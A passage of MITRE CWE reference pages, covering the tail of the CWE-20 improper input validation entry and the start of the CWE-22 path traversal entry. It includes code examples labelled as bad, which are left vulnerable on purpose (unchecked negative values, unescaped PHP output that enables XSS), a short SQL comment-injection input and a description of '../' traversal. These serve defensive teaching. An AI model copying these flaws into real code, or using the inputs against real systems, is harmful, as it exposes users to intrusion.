ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.120Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.134Use of Externally-Controlled Format String
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.170Improper Null Termination
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.190Integer Overflow or Wraparound
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.466Return of Pointer Value Outside of Expected Range
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.470Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.785Use of Path Manipulation Function without Maximum-sized Buffer
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

If a programmer believes that an attacker cannot modify certain inputs, then the programmer might not perform any input validation at all. For example, in web applications, many programmers believe that cookies and hidden form fields can not be modified from a web browser (CWE-472), although they can be altered using a proxy or a custom program. In a client-server architecture, the programmer might assume that client-side security checks cannot be bypassed, even when a custom client could be written that skips those checks (CWE-602).

+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Often Prevalent)

+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

This example demonstrates a shopping interaction in which the user is free to specify the quantity of items to be purchased and a total is calculated.

(bad code)
Example Language: Java 
...
public static final double price = 20.00;
int quantity = currentUser.getAttribute("quantity");
double total = price * quantity;
chargeUser(total);
...

The user has no control over the price variable, however the code does not prevent a negative value from being specified for quantity. If an attacker were to provide a negative value, then the user would have their account credited instead of debited.


Example 2

This example asks the user for a height and width of an m X n game board with a maximum dimension of 100 squares.

(bad code)
Example Language:
...
#define MAX_DIM 100
...
/* board dimensions */

int m,n, error;
board_square_t *board;
printf("Please specify the board height: \n");
error = scanf("%d", &m);
if ( EOF == error ){
die("No integer passed: Die evil hacker!\n");
}
printf("Please specify the board width: \n");
error = scanf("%d", &n);
if ( EOF == error ){
die("No integer passed: Die evil hacker!\n");
}
if ( m > MAX_DIM || n > MAX_DIM ) {
die("Value too large: Die evil hacker!\n");
}
board = (board_square_t*) malloc( m * n * sizeof(board_square_t));
...

While this code checks to make sure the user cannot specify large, positive integers and consume too much memory, it does not check for negative values supplied by the user. As a result, an attacker can perform a resource consumption (CWE-400) attack against this program by specifying two, large negative values that will not overflow, resulting in a very large memory allocation (CWE-789) and possibly a system crash. Alternatively, an attacker can provide very large negative values which will cause an integer overflow (CWE-190) and unexpected behavior will follow depending on how the values are treated in the remainder of the program.


Example 3

The following example shows a PHP application in which the programmer attempts to display a user's birthday and homepage.

(bad code)
Example Language: PHP 
$birthday = $_GET['birthday'];
$homepage = $_GET['homepage'];
echo "Birthday: $birthday<br>Homepage: <a href=$homepage>click here</a>"

The programmer intended for $birthday to be in a date format and $homepage to be a valid URL. However, since the values are derived from an HTTP request, if an attacker can trick a victim into clicking a crafted URL with <script> tags providing the values for birthday and / or homepage, then the script will run on the client's browser when the web server echoes the content. Notice that even if the programmer were to defend the $birthday variable by restricting input to integers and dashes, it would still be possible for an attacker to provide a string of the form:

(attack code)
 
2009-01-09--

If this data were used in a SQL statement, it would treat the remainder of the statement as a comment. The comment could disable other security-related logic in the statement. In this case, encoding combined with input validation would be a more useful protection mechanism.

Furthermore, an XSS (CWE-79) attack or SQL injection (CWE-89) are just a few of the potential consequences when input validation is not used. Depending on the context of the code, CRLF Injection (CWE-93), Argument Injection (CWE-88), or Command Injection (CWE-77) may also be possible.


Example 4

The following example takes a user-supplied value to allocate an array of objects and then operates on the array.

(bad code)
Example Language: Java 
private void buildList ( int untrustedListSize ){
if ( 0 > untrustedListSize ){
die("Negative value supplied for list size, die evil hacker!");
}
Widget[] list = new Widget [ untrustedListSize ];
list[0] = new Widget();
}

This example attempts to build a list from a user-specified value, and even checks to ensure a non-negative value is supplied. If, however, a 0 value is provided, the code will build an array of size 0 and then try to store a new Widget in the first location, causing an exception to be thrown.


Example 5

This Android application has registered to handle a URL when sent an intent:

(bad code)
Example Language: Java 

...
IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
...

public class UrlHandlerReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
if("com.example.URLHandler.openURL".equals(intent.getAction())) {
String URL = intent.getStringExtra("URLToOpen");
int length = URL.length();

...
}
}
}

The application assumes the URL will always be included in the intent. When the URL is not present, the call to getStringExtra() will return null, thus causing a null pointer exception when length() is called.


+ Observed Examples
ReferenceDescription
Large language model (LLM) management tool does not validate the format of a digest value (CWE-1287) from a private, untrusted model registry, enabling relative path traversal (CWE-23), a.k.a. Probllama
Chain: a learning management tool debugger uses external input to locate previous session logs (CWE-73) and does not properly validate the given path (CWE-20), allowing for filesystem path traversal using "../" sequences (CWE-24)
Chain: improper input validation (CWE-20) leads to integer overflow (CWE-190) in mobile OS, as exploited in the wild per CISA KEV.
Chain: improper input validation (CWE-20) leads to integer overflow (CWE-190) in mobile OS, as exploited in the wild per CISA KEV.
Chain: backslash followed by a newline can bypass a validation step (CWE-20), leading to eval injection (CWE-95), as exploited in the wild per CISA KEV.
Chain: insufficient input validation (CWE-20) in browser allows heap corruption (CWE-787), as exploited in the wild per CISA KEV.
Chain: improper input validation (CWE-20) in username parameter, leading to OS command injection (CWE-78), as exploited in the wild per CISA KEV.
Chain: security product has improper input validation (CWE-20) leading to directory traversal (CWE-22), as exploited in the wild per CISA KEV.
Improper input validation of HTTP requests in IP phone, as exploited in the wild per CISA KEV.
Chain: improper input validation (CWE-20) in firewall product leads to XSS (CWE-79), as exploited in the wild per CISA KEV.
Chain: caching proxy server has improper input validation (CWE-20) of headers, allowing HTTP response smuggling (CWE-444) using an "LF line ending"
Eval injection in Perl program using an ID that should only contain hyphens and numbers.
SQL injection through an ID that was supposed to be numeric.
lack of input validation in spreadsheet program leads to buffer overflows, integer overflows, array index errors, and memory corruption.
insufficient validation enables XSS
driver in security product allows code execution due to insufficient validation
infinite loop from DNS packet with a label that points to itself
infinite loop from DNS packet with a label that points to itself
missing parameter leads to crash
HTTP request with missing protocol version number leads to crash
request with missing parameters leads to information exposure
system crash with offset value that is inconsistent with packet size
size field that is inconsistent with packet size leads to buffer over-read
product uses a denylist to identify potentially dangerous content, allowing attacker to bypass a warning
security bypass via an extra header
empty packet triggers reboot
incomplete denylist allows SQL injection
NUL byte in theme name causes directory traversal impact to be worse
kernel does not validate an incoming pointer before dereferencing it
anti-virus product has insufficient input validation of hooked SSDT functions, allowing code execution
anti-virus product allows DoS via zero-length field
driver does not validate input from userland to the kernel
kernel does not validate parameters sent in from userland, allowing code execution
lack of validation of string length fields allows memory consumption or buffer over-read
lack of validation of length field leads to infinite loop
lack of validation of input to an IOCTL allows code execution
zero-length attachment causes crash
zero-length input causes free of uninitialized pointer
crash via a malformed frame structure
infinite loop from a long SMTP request
router crashes with a malformed packet
packet with invalid version number leads to NULL pointer dereference
crash via multiple "." characters in file extension
+ Detection Methods

Automated Static Analysis

Some instances of improper input validation can be detected using automated static analysis.

A static analysis tool might allow the user to specify which application-specific methods or functions perform input validation; the tool might also have built-in knowledge of validation frameworks such as Struts. The tool may then suppress or de-prioritize any associated warnings. This allows the analyst to focus on areas of the software in which input validation does not appear to be present.

Except in the cases described in the previous paragraph, automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes.

Manual Static Analysis

When custom input validation is required, such as when enforcing business rules, manual analysis is necessary to ensure that the validation is properly implemented.

Fuzzing

Fuzzing techniques can be useful for detecting input validation errors. When unexpected inputs are provided to the software, the software should not crash or otherwise become unstable, and it should generate application-controlled error messages. If exceptions or interpreter-generated error messages occur, this indicates that the input was not detected and handled within the application logic itself.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Fuzz Tester
  • Framework-based Fuzzer
Cost effective for partial coverage:
  • Host Application Interface Scanner
  • Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness: High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Focused Manual Spotcheck - Focused manual analysis of source
  • Manual Source Code Review (not inspections)

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Attack Modeling

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).635Weaknesses Originally Used by NVD from 2008 to 2016
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.722OWASP Top Ten 2004 Category A1 - Unvalidated Input
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.738CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.742CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.746CERT C Secure Coding Standard (2008) Chapter 13 - Error Handling (ERR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.747CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.7512009 Top 25 - Insecure Interaction Between Components
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.872CERT C++ Secure Coding Section 04 - Integers (INT)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.876CERT C++ Secure Coding Section 08 - Memory Management (MEM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.883CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.994SFP Secondary Cluster: Tainted Input to Variable
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.10057PK - Input Validation and Representation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1163SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1200Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1337Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1347OWASP Top Ten 2021 Category A03:2021 - Injection
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1350Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1382ICS Operations (& Maintenance): Emerging Energy Technologies
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1387Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1406Comprehensive Categorization: Improper Input Validation
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1425Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
+ Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reason: Frequent Misuse

Rationale:

CWE-20 is commonly misused in low-information vulnerability reports when lower-level CWEs could be used instead, or when more details about the vulnerability are available [REF-1287]. It is not useful for trend analysis. It is also a level-1 Class (i.e., a child of a Pillar).

Comments:

Consider lower-level children such as Improper Use of Validation Framework (CWE-1173) or improper validation involving specific types or properties of input such as Specified Quantity (CWE-1284); Specified Index, Position, or Offset (CWE-1285); Syntactic Correctness (CWE-1286); Specified Type (CWE-1287); Consistency within Input (CWE-1288); or Unsafe Equivalence (CWE-1289).
Suggestions:
CWE-IDComment
CWE-1284Specified Quantity
CWE-1285Specified Index, Position, or Offset
CWE-1286Syntactic Correctness
CWE-1287Specified Type
CWE-1288Consistency within Input
CWE-1289Unsafe Equivalence
CWE-116Improper Encoding or Escaping of Output
+ Notes

Relationship

CWE-116 and CWE-20 have a close association because, depending on the nature of the structured message, proper input validation can indirectly prevent special characters from changing the meaning of a structured message. For example, by validating that a numeric ID field should only contain the 0-9 characters, the programmer effectively prevents injection attacks.

Terminology

The "input validation" term is extremely common, but it is used in many different ways. In some cases its usage can obscure the real underlying weakness or otherwise hide chaining and composite relationships.

Some people use "input validation" as a general term that covers many different neutralization techniques for ensuring that input is appropriate, such as filtering, canonicalization, and escaping. Others use the term in a more narrow context to simply mean "checking if an input conforms to expectations without changing it." CWE uses this more narrow interpretation.

Maintenance

As of 2020, this entry is used more often than preferred, and it is a source of frequent confusion. It is being actively modified for CWE 4.1 and subsequent versions.

Maintenance

Concepts such as validation, data transformation, and neutralization are being refined, so relationships between CWE-20 and other entries such as CWE-707 may change in future versions, along with an update to the Vulnerability Theory document.

Maintenance

Input validation - whether missing or incorrect - is such an essential and widespread part of secure development that it is implicit in many different weaknesses. Traditionally, problems such as buffer overflows and XSS have been classified as input validation problems by many security professionals. However, input validation is not necessarily the only protection mechanism available for avoiding such problems, and in some cases it is not even sufficient. The CWE team has begun capturing these subtleties in chains within the Research Concepts view (CWE-1000), but more work is needed.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsInput validation and representation
OWASP Top Ten 2004A1CWE More SpecificUnvalidated Input
CERT C Secure CodingERR07-CPrefer functions that support error checking over equivalent functions that don't
CERT C Secure CodingFIO30-CCWE More AbstractExclude user input from format strings
CERT C Secure CodingMEM10-CDefine and use a pointer validation function
WASC20Improper Input Handling
Software Fault PatternsSFP25Tainted input to variable
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
[REF-166] Jim Manico. "Input Validation with ESAPI - Very Important". 2008-08-15. <https://manicode.blogspot.com/2008/08/input-validation-with-esapi.html>. URL validated: 2023-04-07.
[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.
[REF-168] Joel Scambray, Mike Shema and Caleb Sima. "Hacking Exposed Web Applications, Second Edition". Input Validation Attacks. McGraw-Hill. 2006-06-05.
[REF-48] Jeremiah Grossman. "Input validation or output filtering, which is better?". 2007-01-30. <https://blog.jeremiahgrossman.com/2007/01/input-validation-or-output-filtering.html>. URL validated: 2023-04-07.
[REF-170] Kevin Beaver. "The importance of input validation". 2006-09-06. <http://searchsoftwarequality.techtarget.com/tip/0,289483,sid92_gci1214373,00.html>.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 10, "All Input Is Evil!" Page 341. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-1109] "LANGSEC: Language-theoretic Security". <http://langsec.org/>.
[REF-1110] "LangSec: Recognition, Validation, and Compositional Correctness for Real World Security". <http://langsec.org/bof-handout.pdf>.
[REF-1111] Sergey Bratus, Lars Hermerschmidt, Sven M. Hallberg, Michael E. Locasto, Falcon D. Momot, Meredith L. Patterson and Anna Shubina. "Curing the Vulnerable Parser: Design Patterns for Secure Input Handling". USENIX ;login:. 2017. <https://www.usenix.org/system/files/login/articles/login_spring17_08_bratus.pdf>.
[REF-1287] MITRE. "Supplemental Details - 2022 CWE Top 25". Details of Problematic Mappings. 2022-06-28. <https://cwe.mitre.org/top25/archive/2022/2022_cwe_top25_supplemental.html#problematicMappingDetails>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-01-12CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Likelihood_of_Exploit, Name, Observed_Examples, Other_Notes, Potential_Mitigations, References, Relationship_Notes, Relationships
2009-03-10CWE Content TeamMITRE
updated Description, Potential_Mitigations
2009-05-27CWE Content TeamMITRE
updated Related_Attack_Patterns
2009-07-27CWE Content TeamMITRE
updated Relationships
2009-10-29CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Maintenance_Notes, Modes_of_Introduction, Observed_Examples, Relationships, Research_Gaps, Terminology_Notes
2009-12-28CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Detection_Factors
2010-02-16CWE Content TeamMITRE
updated Detection_Factors, Potential_Mitigations, References, Taxonomy_Mappings
2010-04-05CWE Content TeamMITRE
updated Related_Attack_Patterns
2010-06-21CWE Content TeamMITRE
updated Potential_Mitigations, Research_Gaps, Terminology_Notes
2010-09-27CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2010-12-13CWE Content TeamMITRE
updated Demonstrative_Examples, Description
2011-03-29CWE Content TeamMITRE
updated Observed_Examples
2011-06-01CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Relationship_Notes
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, References, Related_Attack_Patterns, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-02-21CWE Content TeamMITRE
updated Relationships
2013-07-17CWE Content TeamMITRE
updated Relationships
2014-02-18CWE Content TeamMITRE
updated Demonstrative_Examples, Related_Attack_Patterns
2014-07-30CWE Content TeamMITRE
updated Detection_Factors, Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2017-05-03CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, References, Relationships, Taxonomy_Mappings
2018-03-27CWE Content TeamMITRE
updated References
2019-01-03CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2019-09-19CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, References, Related_Attack_Patterns, Relationships
2020-06-25CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, Maintenance_Notes, Observed_Examples, Potential_Mitigations, References, Relationship_Notes, Relationships, Research_Gaps, Terminology_Notes
2020-08-20CWE Content TeamMITRE
updated Potential_Mitigations, Related_Attack_Patterns, Relationships
2021-03-15CWE Content TeamMITRE
updated Description, Potential_Mitigations
2021-07-20CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-04-28CWE Content TeamMITRE
updated Relationships
2022-06-28CWE Content TeamMITRE
updated Observed_Examples, Relationships
2022-10-13CWE Content TeamMITRE
updated References, Relationships
2023-04-27CWE Content TeamMITRE
updated References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Relationships
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
2024-07-16
(CWE 4.15, 2024-07-16)
CWE Content TeamMITRE
updated Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2009-01-12Insufficient Input Validation

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Weakness ID: 22
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
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+ Description
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Diagram for CWE-22
+ Extended Description

Many file operations are intended to take place within a restricted directory. By using special elements such as ".." and "/" separators, attackers can escape outside of the restricted location to access files or directories that are elsewhere on the system. One of the most common special elements is the "../" sequence, which in most modern operating systems is interpreted as the parent directory of the current location. This is referred to as relative path traversal. Path traversal also covers the use of absolute pathnames such as "/usr/local/bin" to access unexpected files. This is referred to as absolute path traversal.

+ Alternate Terms
Directory traversal
Path traversal:
"Path traversal" is preferred over "directory traversal," but both terms are attack-focused.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Confidentiality
Availability

Technical Impact: Execute Unauthorized Code or Commands

The attacker may be able to create or overwrite critical files that are used to execute code, such as programs or libraries.
Integrity

Technical Impact: Modify Files or Directories

The attacker may be able to overwrite or create critical files, such as programs, libraries, or important data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, appending a new account at the end of a password file may allow an attacker to bypass authentication.
Confidentiality

Technical Impact: Read Files or Directories

The attacker may be able read the contents of unexpected files and expose sensitive data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, by reading a password file, the attacker could conduct brute force password guessing attacks in order to break into an account on the system.
Availability

Technical Impact: DoS: Crash, Exit, or Restart

The attacker may be able to overwrite, delete, or corrupt unexpected critical files such as programs, libraries, or important data. This may prevent the product from working at all and in the case of protection mechanisms such as authentication, it has the potential to lock out product users.
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:

  • realpath() in C
  • getCanonicalPath() in Java
  • GetFullPath() in ASP.NET
  • realpath() or abs_path() in Perl
  • realpath() in PHP

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Phase: Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness: Moderate

Note: An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phase: Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.

Phases: Architecture and Design; Operation

Strategy: Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness: Limited

Note: The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Phases: Architecture and Design; Operation

Strategy: Attack Surface Reduction

Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.

